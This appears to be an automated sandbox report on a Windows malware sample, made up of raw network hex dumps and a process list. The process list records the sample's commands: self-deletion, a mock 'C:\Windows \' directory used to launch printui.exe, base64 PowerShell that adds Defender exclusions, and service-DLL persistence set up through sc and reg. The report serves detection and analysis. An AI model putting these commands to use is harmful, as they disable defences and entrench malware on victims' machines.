4b 01 00 00 73 24 0f 1f 40 00 0f 1f 84 00 00 00 00 00 0f b6 04 19 66 89 84 4d 90 00 00 00 48 ff c1 48 81 f9 4b 01 00 00 72 e8 65 Data Ascii: ,~)W~)f`f`MUffDMHHrHw)PHLLHf~Wf`M~Lf`M~Lf`M~Lf`MH H@rHKs$@fMHHKre
2024-12-10 06:35:31 UTC	1378	IN	Data Raw: 45 bc 88 42 0c 0f b6 45 bd 88 42 0d 0f b6 45 be 88 42 0e 0f b6 45 bf 88 42 0f 0f b6 45 c0 88 42 10 0f b6 45 c1 88 42 11 0f b6 45 c2 88 42 12 0f b6 45 c3 88 42 13 0f b6 45 c4 88 42 14 0f b6 45 c5 88 42 15 0f b6 45 c6 88 42 16 0f b6 45 c7 88 42 17 0f b6 45 c8 88 42 18 0f b6 45 c9 88 42 19 0f b6 45 ca 88 42 1a 0f b6 45 cb 88 42 1b 0f b6 45 cc 88 42 1c 0f b6 45 cd 88 42 1d 0f b6 45 ce 88 42 1e 0f b6 45 cf 88 42 1f 0f b6 45 d0 88 42 20 0f b6 45 d1 88 42 21 0f b6 45 d2 88 42 22 0f b6 45 d3 88 42 23 0f b6 45 d4 88 42 24 0f b6 45 d5 88 42 25 0f b6 45 d6 88 42 26 0f b6 45 d7 88 42 27 0f b6 45 d8 88 42 28 0f b6 45 d9 88 42 29 c7 85 80 00 00 00 28 00 08 02 65 48 8b 04 25 30 00 00 00 4d 8b c6 ba 08 00 00 00 48 8b 48 60 48 8b 49 30 ff 15 d3 04 09 01 48 89 45 48 48 85 Data Ascii: EBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEB EB!EB"EB#EB$EB%EB&EB'EB(EB)(eH%0MHH`HI0HEHH
2024-12-10 06:35:31 UTC	1378	IN	Data Raw: d8 06 41 88 40 25 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 07 41 88 40 26 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 08 41 88 40 27 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 09 41 88 40 28 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 0a 41 88 40 29 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 0b 41 88 40 2a 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 0c 41 88 40 2b 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 0d 41 88 40 2c 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 0e 66 41 0f 73 d8 0f 41 88 40 2d 66 0f 7e c0 66 41 0f 6f c1 66 0f 73 d8 01 41 88 40 2e 66 44 0f 7e c0 41 88 40 2f 66 44 0f 7e c8 41 88 40 30 66 0f 7e c0 66 41 0f 6f c1 66 0f 73 d8 02 41 88 40 31 66 0f 7e c0 66 41 0f 6f c1 66 0f 73 d8 03 41 88 40 32 66 0f 7e c0 66 41 0f 6f c1 66 0f 73 d8 04 41 88 40 33 66 0f 7e c0 66 41 0f 6f c1 Data Ascii: A@%f~fAofsA@&f~fAofsA@'f~fAofsA@(f~fAofsA@)f~fAofsA@*f~fAofsA@+f~fAofsA@,f~fAofsfAsA@-f~fAofsA@.fD~A@/fD~A@0f~fAofsA@1f~fAofsA@2f~fAofsA@3f~fAo
2024-12-10 06:35:31 UTC	1378	IN	Data Raw: 33 d2 33 c9 ff d0 85 c0 78 0d 48 8b 8d 90 03 00 00 ff 15 19 fb 08 01 48 8d 95 90 03 00 00 48 c7 85 90 03 00 00 80 69 67 ff 33 c9 e8 bc 00 00 00 65 48 8b 04 25 30 00 00 00 33 d2 4c 8b 45 58 48 8b 48 60 48 8b 49 30 ff 15 c3 fa 08 01 48 89 7d 58 33 d2 89 7d 50 65 48 8b 04 25 30 00 00 00 4c 8b 45 78 48 8b 48 60 48 8b 49 30 ff 15 9f fa 08 01 48 81 c4 78 04 00 00 5f 5d c3 cc cc cc cc cc 48 83 ec 08 4c 8b c9 4d 85 c0 74 13 48 89 3c 24 48 8b f9 49 8b c8 0f b6 c2 f3 aa 48 8b 3c 24 49 8b c1 48 83 c4 08 c3 cc cc cc cc cc cc cc cc cc 4c 8b d1 8b 05 37 fa 08 01 0f 05 c3 4c 8b d1 8b 05 2f fa 08 01 0f 05 c3 4c 8b d1 8b 05 27 fa 08 01 0f 05 c3 4c 8b d1 8b 05 1f fa 08 01 0f 05 c3 4c 8b d1 8b 05 17 fa 08 01 0f 05 c3 4c 8b d1 8b 05 0f fa 08 01 0f 05 c3 00 00 00 00 00 00 00 Data Ascii: 33xHHHig3eH%03LEXHH`HI0H}X3}PeH%0LExHH`HI0Hx_]HLMtH<$HIH<$IHL7L/L'LLL
2024-12-10 06:35:31 UTC	1378	IN	Data Raw: c9 7d fa 59 47 f0 ad d4 a2 af 9c a4 72 c0 b7 fd 93 26 36 3f f7 cc 34 a5 e5 f1 71 d8 31 15 04 c7 23 c3 18 96 05 9a 07 12 80 e2 eb 27 b2 75 09 83 2c 1a 1b 6e 5a a0 52 3b d6 b3 29 e3 2f 84 53 d1 00 ed 20 fc b1 5b 6a cb be 39 4a 4c 58 cf d0 ef aa fb 43 4d 33 85 45 f9 02 7f 50 3c 9f a8 51 a3 40 8f 92 9d 38 f5 bc b6 da 21 10 ff f3 d2 cd 0c 13 ec 5f 97 44 17 c4 a7 7e 3d 64 5d 19 73 60 81 4f dc 22 2a 90 88 46 ee b8 14 de 5e 0b db e0 32 3a 0a 49 06 24 5c c2 d3 ac 62 91 95 e4 79 e7 c8 37 6d 8d d5 4e a9 6c 56 f4 ea 65 7a ae 08 ba 78 25 2e 1c a6 b4 c6 e8 dd 74 1f 4b bd 8b 8a 70 3e b5 66 48 03 f6 0e 61 35 57 b9 86 c1 1d 9e e1 f8 98 11 69 d9 8e 94 9b 1e 87 e9 ce 55 28 df 8c a1 89 0d bf e6 42 68 41 99 2d 0f b0 54 bb 16 52 09 6a d5 30 36 a5 38 bf 40 a3 9e 81 f3 d7 fb 7c Data Ascii: }YGr&6?4q1#'u,nZR;)/S [j9JLXCM3EP<Q@8!_D~=d]s`O"*F^2:I$\by7mNlVezx%.tKp>fHa5WiU(BhA-TRj068@\|

Target ID:	0
Start time:	01:34:54
Start date:	10/12/2024
Path:	C:\Users\user\Desktop\dYUteuvmHn.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\dYUteuvmHn.exe"
Imagebase:	0x7ff712760000
File size:	1'694'720 bytes
MD5 hash:	F5BD4BBC494017262A22785E5B53F316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	01:34:55
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "C:\Users\user\Desktop\curlapp64.exe"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	01:34:55
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\user\Desktop\dYUteuvmHn.exe"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	01:34:55
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	01:34:55
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	01:34:55
Start date:	10/12/2024
Path:	C:\Users\user\Desktop\curlapp64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\curlapp64.exe"
Imagebase:	0x7ff6cabb0000
File size:	614'912 bytes
MD5 hash:	990DCC08D59B375A75DD575701DD2AA4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	6
Start time:	01:34:55
Start date:	10/12/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 10 /nobreak
Imagebase:	0x7ff7bf9e0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	8
Start time:	01:35:07
Start date:	10/12/2024
Path:	C:\Users\user\Desktop\curlapp64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\curlapp64.exe"
Imagebase:	0x7ff6cabb0000
File size:	614'912 bytes
MD5 hash:	990DCC08D59B375A75DD575701DD2AA4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	11
Start time:	01:35:15
Start date:	10/12/2024
Path:	C:\Users\user\Desktop\curlapp64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\curlapp64.exe"
Imagebase:	0x7ff6cabb0000
File size:	614'912 bytes
MD5 hash:	990DCC08D59B375A75DD575701DD2AA4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	15
Start time:	01:35:39
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c mkdir "\\?\C:\Windows \System32"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	16
Start time:	01:35:39
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	18
Start time:	01:35:39
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\user\Desktop\curlapp64.exe"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	19
Start time:	01:35:39
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	20
Start time:	01:35:39
Start date:	10/12/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 10 /nobreak
Imagebase:	0x7ff7bf9e0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	21
Start time:	01:35:48
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c rmdir /s /q "C:\Windows \"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	22
Start time:	01:35:48
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	23
Start time:	01:35:48
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c mkdir "\\?\C:\Windows \System32"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2920, Parent PID: 3276

General

Target ID:	24
Start time:	01:35:48
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	25
Start time:	01:35:49
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\user\Desktop\curlapp64.exe"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5696, Parent PID: 3288

General

Target ID:	26
Start time:	01:35:49
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	27
Start time:	01:35:49
Start date:	10/12/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 10 /nobreak
Imagebase:	0x7ff7bf9e0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	29
Start time:	01:35:56
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c rmdir /s /q "C:\Windows \"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5784, Parent PID: 5852

General

Target ID:	30
Start time:	01:35:56
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	31
Start time:	01:35:56
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c mkdir "\\?\C:\Windows \System32"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2132, Parent PID: 5068

General

Target ID:	32
Start time:	01:35:56
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	33
Start time:	01:35:56
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "C:\Windows \System32\printui.exe"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	34
Start time:	01:35:56
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	35
Start time:	01:35:56
Start date:	10/12/2024
Path:	C:\Windows \System32\printui.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows \System32\printui.exe"
Imagebase:	0x7ff7ecf40000
File size:	64'000 bytes
MD5 hash:	2FC3530F3E05667F8240FC77F7486E7E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Target ID:	36
Start time:	01:35:56
Start date:	10/12/2024
Path:	C:\Windows \System32\printui.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows \System32\printui.exe"
Imagebase:	0x7ff7ecf40000
File size:	64'000 bytes
MD5 hash:	2FC3530F3E05667F8240FC77F7486E7E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	39
Start time:	01:35:57
Start date:	10/12/2024
Path:	C:\Windows \System32\printui.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows \System32\printui.exe"
Imagebase:	0x7ff7ecf40000
File size:	64'000 bytes
MD5 hash:	2FC3530F3E05667F8240FC77F7486E7E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	40
Start time:	01:35:57
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\user\Desktop\curlapp64.exe"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	41
Start time:	01:35:57
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	42
Start time:	01:35:57
Start date:	10/12/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 10 /nobreak
Imagebase:	0x7ff7bf9e0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	43
Start time:	01:36:17
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "$dec = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiJGVudjpTeXN0ZW1Ecml2ZVxXaW5kb3dzIFxTeXN0ZW0zMiI7DQpBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICIkZW52OlN5c3RlbURyaXZlXFdpbmRvd3NcU3lzdGVtMzIiOw==')); Invoke-Expression $dec;"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	44
Start time:	01:36:17
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	45
Start time:	01:36:17
Start date:	10/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "$dec = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiJGVudjpTeXN0ZW1Ecml2ZVxXaW5kb3dzIFxTeXN0ZW0zMiI7DQpBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICIkZW52OlN5c3RlbURyaXZlXFdpbmRvd3NcU3lzdGVtMzIiOw==')); Invoke-Expression $dec;"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	47
Start time:	01:36:30
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	48
Start time:	01:36:30
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	49
Start time:	01:36:30
Start date:	10/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	50
Start time:	01:36:37
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c sc create x610437 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x610437\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x610437.dat" /f && sc start x610437
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	51
Start time:	01:36:37
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	52
Start time:	01:36:37
Start date:	10/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc create x610437 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
Imagebase:	0x7ff7fbde0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	53
Start time:	01:36:37
Start date:	10/12/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add HKLM\SYSTEM\CurrentControlSet\services\x610437\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x610437.dat" /f
Imagebase:	0x7ff763a30000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	54
Start time:	01:36:37
Start date:	10/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start x610437
Imagebase:	0x7ff7fbde0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	55
Start time:	01:36:37
Start date:	10/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k DcomLaunch
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	56
Start time:	01:36:37
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	57
Start time:	01:36:37
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	58
Start time:	01:36:37
Start date:	10/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	59
Start time:	01:36:38
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "C:\Windows\System32\console_zero.exe"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	60
Start time:	01:36:38
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	61
Start time:	01:36:38
Start date:	10/12/2024
Path:	C:\Windows\System32\console_zero.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\console_zero.exe"
Imagebase:	0x7ff7f1c50000
File size:	664'576 bytes
MD5 hash:	A11604F5C925DDAADF2988AF05F4071B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 46%, ReversingLabs
Has exited:	true

Target ID:	62
Start time:	01:36:38
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
